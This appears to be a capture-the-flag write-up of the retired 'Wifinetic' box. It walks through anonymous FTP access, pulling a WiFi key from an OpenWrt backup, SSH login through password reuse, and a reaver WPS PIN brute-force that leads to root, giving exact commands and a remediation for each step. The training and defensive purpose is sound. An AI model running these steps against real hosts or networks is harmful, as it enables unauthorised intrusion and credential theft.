Wifinetic
Summary
I found an FTP server accepting anonymous logins that exposed an OpenWrt router configuration backup. Extracting the archive revealed a plaintext WiFi pre-shared key inside the wireless configuration file; the same password had been reused as the SSH login for the 'netadmin' system account, giving an immediate shell and the user flag.
Once inside, I discovered that the 'reaver' WPS-attack binary had the CAP_NET_RAW Linux capability set, allowing a non-root user to send raw wireless frames without sudo. Reaver brute-forced the local access point's WPS PIN and recovered the WPA passphrase — which had been reused, again, as the root SSH password — completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for root>"
export PASSWORD2="<the-password-you-recovered, for netadmin>"Attack path — how the box was taken
Exact commands 1
Full TCP scan with version detection and default scripts.
$ nmap -sV -sC -p- --min-rate 5000 -oN nmap_full.txt $TARGETExact commands 3
Connect; at the Name prompt type 'anonymous' and press Enter for the password.
$ ftp $TARGETList all files in the FTP root to confirm what is exposed.
$ ftp> ls -laDownload the backup for local extraction.
$ ftp> get backup-OpenWrt-2023-07-26.tar /tmp/backup-OpenWrt-2023-07-26.tarFixDisable anonymous FTP accessCritical
Exact commands 2
Stream wireless config to stdout; look for 'option key' lines containing the WPA PSK.
$ tar -xOf /tmp/backup-OpenWrt-2023-07-26.tar ./etc/config/wirelessExtract passwd to identify account names — confirms 'netadmin' exists on the live host.
$ tar -xOf /tmp/backup-OpenWrt-2023-07-26.tar ./etc/passwdFixPurge plaintext credentials from backup archives before storing or transferring themHigh
Exact commands 2
Verify the login and confirm running as netadmin.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null netadmin@$TARGET 'id; hostname; pwd'
uid=1000(netadmin)Read the user flag -> <user.txt>
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null netadmin@$TARGET 'cat /home/netadmin/user.txt'FixEnforce unique passwords — never reuse a network passphrase as a system account passwordCritical
Exact commands 3
Run from the netadmin SSH session to list wireless interfaces and their operating mode (managed / AP).
$ iw devConfirm CAP_NET_RAW is set on the reaver binary (output: reaver = cap_net_raw+ep).
$ getcap $(which reaver)Retrieve the BSSID (MAC address) of the AP interface — needed as the reaver target in the next step.
$ iw dev wlan0 infoFixRemove CAP_NET_RAW from Reaver and uninstall offensive wireless tools from production systemsHigh
Exact commands 1
Run from the netadmin SSH session. Replace <AP_BSSID> with the BSSID from 'iw dev wlan0 info'. Reaver prints the recovered WPA-PSK on success. Add -K 1 to attempt Pixie-Dust first for faster recovery if the AP is vulnerable.
$ reaver -i wlan1 -b <AP_BSSID> -vvExact commands 1
Root SSH login; output is uid=0(root) and the root flag <root.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@$TARGET 'id; cat /root/root.txt'
uid=0(root)Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 21/tcp | ftp vsftpd 3.0.3 |
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0) |
| 53/tcp | tcpwrapped |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.